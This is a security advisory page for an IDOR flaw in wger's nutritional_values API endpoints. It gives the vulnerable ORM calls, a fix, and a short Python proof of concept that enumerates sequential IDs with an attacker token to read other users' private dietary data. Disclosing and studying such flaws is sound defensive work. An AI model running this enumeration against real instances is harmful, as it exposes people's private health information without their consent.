wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLEThe correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECTAffected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodiumNo interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | wger | <= 2.1 | no fix |
References
- https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86
- https://nvd.nist.gov/vuln/detail/CVE-2026-27839
- https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e
- https://github.com/wger-project/wger
- https://pypi.org/project/wger
- https://github.com/advisories/GHSA-g8gc-6c4h-jg86
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-639- Platform
- Python (PyPI)
- Package
wger- Disclosed
- 26.02.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3422 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-g8gc-6c4h-jg86 - CC BY 4.0
Vulnerability history: wger
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 11.2022 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 8
- Medium 9
- Low 1
Disclosures per year
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 17
-
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup this entry
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